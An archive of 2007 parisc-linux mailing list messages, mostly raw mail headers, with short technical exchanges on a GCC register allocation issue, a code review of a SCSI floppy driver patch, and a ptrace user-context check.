Original-Received: (qmail invoked by alias); 07 Mar 2007 00:43:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 07 Mar 2007 01:43:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B2FA7DA68;
	Tue,  6 Mar 2007 17:43:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32759-08; Tue, 6 Mar 2007 17:43:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 743F17DA69;
	Tue,  6 Mar 2007 17:43:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D58E37DA66
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Mar 2007 17:43:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32759-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Mar 2007 17:43:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0B7DF7DA65
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Mar 2007 17:43:43 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l270hgJc001080;
	Tue, 6 Mar 2007 19:43:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l270hfAt001079;
	Tue, 6 Mar 2007 19:43:41 -0500 (EST)
In-Reply-To: <200702252119.l1PLJTk7014385@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Feb 25, 2007 04:19:29 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rGObduEuODBp77WUfGRMMNk1Ji9SWpJZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24428

> > > Don't like what's going on with fr22 in the above code.  Seems like a
> > > GCC optimization bug since it looks like there are a few general registers
> > > that could be used.
> > 
> > Why a bug? It's a register just like any other.
> 
> It's an optimization bug because copying from a general to a floating
> register has to be done through memory.  A stack local would save
> a read and write.  In this case, all the manipulation is done before
> the syscall and there would appear to be sufficient general registers
> available to do the job.  GCC's register allocator should be smart
> enough to figure this out...

With luck, his problem should be fixed:
http://gcc.gnu.org/ml/gcc-patches/2007-03/msg00335.html

Also, the 64-bit kernel should use fp regs only for xmpyu.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James K. Love" <jlove@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] sd: Adds flexible disk (TEAC FC-1,
	scsi-floppy) support to scsi disk driver
Date: Thu, 08 Mar 2007 10:04:42 -0500
Organization: Scientific Research Corporation
Lines: 69
Approved: news@gmane.org
Message-ID: <45F0260A.7080306__7133.62426399744$1416624322$gmane$org@scires.com>
References: <45B67554.6010208@scires.com>
	<20070124162810.GA31075@colo.lackof.org>
	<45CB5C9D.1070601@scires.com>
	<20070208173808.GL13101@parisc-linux.org>
	<45EC9702.9080107@scires.com>
	<20070308065323.GB26641@colo.lackof.org>
Reply-To: jlove@scires.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624322 23421 80.91.229.3 (22 Nov 2014 02:45:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2007 15:05:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 08 Mar 2007 16:05:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00F637DA7A;
	Thu,  8 Mar 2007 08:05:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17914-01; Thu, 8 Mar 2007 08:05:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BC247DA74;
	Thu,  8 Mar 2007 08:05:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 73E097DA65
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Mar 2007 08:05:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17768-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Mar 2007 08:05:27 -0700 (MST)
Original-Received: from SRCMAIL.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id 8516E7D409
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Mar 2007 08:05:25 -0700 (MST)
Original-Received: from [127.0.0.1] (523.chs.spawar.navy.mil [150.125.116.2])
	by SRCMAIL.scires.com with ESMTP; Thu, 08 Mar 2007 10:05:23 -0500
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
In-Reply-To: <20070308065323.GB26641@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: B2CWL71kaHI+4aWnKSUlf2dqamdhZASn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24429

Thanks for the comments, Grant.

On 3/8/2007 1:53 AM, Grant Grundler wrote:
> ...
>> @@ -1535,6 +1626,11 @@ static int sd_revalidate_disk(struct gen
>>  	struct scsi_device *sdp = sdkp->device;
>>  	unsigned char *buffer;
>>  	unsigned ordered;
>> +	char mode_buf[0xFF];
>> +	scsi_mode_sense_page5_t* page5 = NULL;
>> +	struct scsi_mode_data data;
>> +	int length = 0;
>> +	int res = 0;
> 
> Could these new local vars be moved into the code block inside
> the "if ()" statement where they are used?

Yes.  Helge emailed me off-list pointing this out too.

>> @@ -1563,6 +1659,66 @@ static int sd_revalidate_disk(struct gen
>>  	sd_spinup_disk(sdkp, disk->disk_name);
>>
>>  	/*
>> +	 * Assuming here that this check will suffice for ID'ing a scsi floppy.
>> +	 * Note that sd_spinup_disk sets media_present above.
>> +	 */
>> +	if (sdp->removable && (sdp->type != TYPE_MOD)
>> +	                   && sdkp->media_present) {
>> +		memset(&data, 0, sizeof(data));
>> +		memset(&mode_buf, 0, sizeof(mode_buf));
> ...
> 
> This code chunk is long enough that it should be it's own subroutine.
> Would that be difficult?

Not at all.  I didn't do too much beautification before I sent this, and I agree
it should be.

> ...
>> +		/* store the drive's geometry info we just read */
>> +		sf_heads = page5->number_of_heads;
>> +		sf_sectors = page5->sectors_per_track;
>> +		sf_cylinders = page5->number_of_cylinders_msb << 8
>> +		               | page5->number_of_cylinders_lsb;
> 
> I'm kinda nervous about the use of static globals to "return" the
> result of the previous code. In case some whacko decided to
> have two scsi floppies with different media types, would this break?

I also agree.  In retrospect, I shouldn't have done this the way I did.  I
mentioned this to Helge earlier, and I've already changed these to static consts
in my source, since I'm basically hard-coding the FC-1's geometry and consts
allow me to sanity check the mode select that sets the geometry.  Does that
sound logical?  Technically, it wouldn't have broken the way it is written
because the geometry should always be the same for these drives, but it wasn't
the best implementation.

I'll wait a bit longer to see if I get any more comments, then I'll post an
updated patch that will include your suggestions.

Regards,
James

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] sd: Adds flexible disk (TEAC FC-1,
	scsi-floppy) support to scsi disk driver
Date: Thu, 8 Mar 2007 11:26:01 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <20070308182601.GA18689__39193.1021622897$1416624322$gmane$org@colo.lackof.org>
References: <45B67554.6010208@scires.com>
	<20070124162810.GA31075@colo.lackof.org>
	<45CB5C9D.1070601@scires.com>
	<20070208173808.GL13101@parisc-linux.org>
	<45EC9702.9080107@scires.com>
	<20070308065323.GB26641@colo.lackof.org>
	<45F0260A.7080306@scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624322 23426 80.91.229.3 (22 Nov 2014 02:45:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James K. Love" <jlove@scires.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2007 18:26:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 08 Mar 2007 19:26:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7ACBE7DA92;
	Thu,  8 Mar 2007 11:26:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18678-09; Thu, 8 Mar 2007 11:26:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95B5B7DA7A;
	Thu,  8 Mar 2007 11:26:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0F2D7DA7B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Mar 2007 11:26:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18537-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Mar 2007 11:26:09 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1CC867DA7A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Mar 2007 11:26:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9A119298066;
	Thu,  8 Mar 2007 11:26:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18738-06; Thu, 8 Mar 2007 11:26:02 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8EE0629805D; Thu,  8 Mar 2007 11:26:01 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <45F0260A.7080306@scires.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GzCCZfp1eSE59b6WZHQh9ZZ2IGRvbwAG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24430

On Thu, Mar 08, 2007 at 10:04:42AM -0500, James K. Love wrote:
> Thanks for the comments, Grant.

welcome :)
kudos for chasing this.

...
> >> +		/* store the drive's geometry info we just read */
> >> +		sf_heads = page5->number_of_heads;
> >> +		sf_sectors = page5->sectors_per_track;
> >> +		sf_cylinders = page5->number_of_cylinders_msb << 8
> >> +		               | page5->number_of_cylinders_lsb;
> > 
> > I'm kinda nervous about the use of static globals to "return" the
> > result of the previous code. In case some whacko decided to
> > have two scsi floppies with different media types, would this break?
> 
> I also agree.  In retrospect, I shouldn't have done this the way I did.  I
> mentioned this to Helge earlier, and I've already changed these to static
> consts in my source, since I'm basically hard-coding the FC-1's geometry
> and consts allow me to sanity check the mode select that sets the geometry.
> Does that sound logical?

It sounds good but it's totally not obvious this was the intent.
If you are "hard coding" the geometry, then can't you just use #define?

I think it's ok to only support one geometry.
Just add a check, something like this:
	if (sf_heads) {
		/* make sure successive floppies have same geometry */
		if (sf_heads != page5->number_of_heads) {
			printk(KERN_ERR "Sorry, only support one geometry"
					" for SCSI floppy.\n");
			return -ENOMEDIA;
		} 
	} else {
		sf_heads =....
	}

And maybe think about a better error message and how to handle it. YKWIM.

>   Technically, it wouldn't have broken the way it is written
> because the geometry should always be the same for these drives,
> but it wasn't the best implementation.

ok. That makes sense. but "these drives" are a specific model of drive
with a specific type of media installed.  I don't see checks for that here.
I expect there are other "device->removable && !TYPE_MOD" devices.

> I'll wait a bit longer to see if I get any more comments, then I'll post an
> updated patch that will include your suggestions.

Sounds good - many thanks!

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
Date: Thu, 8 Mar 2007 14:31:20 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20070308193119.GA3553__11430.3342103542$1416624323$gmane$org@athena.road.mcmartin.ca>
References: <200702240039.l1O0dCxG017471@hiauly1.hia.nrc.ca>
	<1172277920.3424.83.camel@mulgrave.il.steeleye.com>
	<119aab440702251819u1a070512j2cb8ca2eeadf0962@mail.gmail.com>
	<1172461983.3423.34.camel@mulgrave.il.steeleye.com>
	<1172467172.3423.39.camel@mulgrave.il.steeleye.com>
	<1172620930.3408.46.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624323 23434 80.91.229.3 (22 Nov 2014 02:45:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:23 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2007 19:32:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 08 Mar 2007 20:32:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8C677DA9F;
	Thu,  8 Mar 2007 12:32:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19296-09; Thu, 8 Mar 2007 12:32:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B90167DA9B;
	Thu,  8 Mar 2007 12:32:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 850A87DA96
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Mar 2007 12:32:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19296-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Mar 2007 12:32:15 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id C4A377DA8F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Mar 2007 12:32:15 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A08A15840CD;
	Thu,  8 Mar 2007 14:32:14 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 364615840C9;
	Thu,  8 Mar 2007 14:32:14 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id D5D91837DB;
	Thu,  8 Mar 2007 14:32:13 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 868CE3B06E; Thu,  8 Mar 2007 14:31:20 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1172620930.3408.46.camel@mulgrave.il.steeleye.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oBGZdu9aeWU35a2TZm9nQEorL0tsZo1P
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24431

On Tue, Feb 27, 2007 at 06:02:10PM -0600, James Bottomley wrote:
> +	/* need to be executing in user context */
> +	if (regs->iasq[0] != 0 || regs->iasq[1] != 0) {

Is there a reason we can't use user_space() from ptrace.h here? You may have
just spotted a subtle bug elsewhere since user_space only checks iasq[1]...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] sd: Adds flexible disk (TEAC FC-1,
	scsi-floppy) support to scsi disk driver
Date: Wed, 7 Mar 2007 23:53:23 -0700
Lines: 94
Approved: news@gmane.org
Message-ID: <20070308065323.GB26641__27247.4781064831$1416624323$gmane$org@colo.lackof.org>
References: <45B67554.6010208@scires.com>
	<20070124162810.GA31075@colo.lackof.org>
	<45CB5C9D.1070601@scires.com>
	<20070208173808.GL13101@parisc-linux.org>
	<45EC9702.9080107@scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624323 23442 80.91.229.3 (22 Nov 2014 02:45:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James K. Love" <jlove@scires.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2007 06:53:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 08 Mar 2007 07:53:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9BEEA7DA49;
	Wed,  7 Mar 2007 23:53:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13499-10; Wed, 7 Mar 2007 23:53:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEF4C7DA38;
	Wed,  7 Mar 2007 23:53:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 735B87DA30
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Mar 2007 23:53:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13486-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Mar 2007 23:53:30 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A7F187DA28
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Mar 2007 23:53:30 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1986C368127;
	Wed,  7 Mar 2007 23:53:30 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28941-04; Wed, 7 Mar 2007 23:53:23 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C2B52368126; Wed,  7 Mar 2007 23:53:23 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <45EC9702.9080107@scires.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
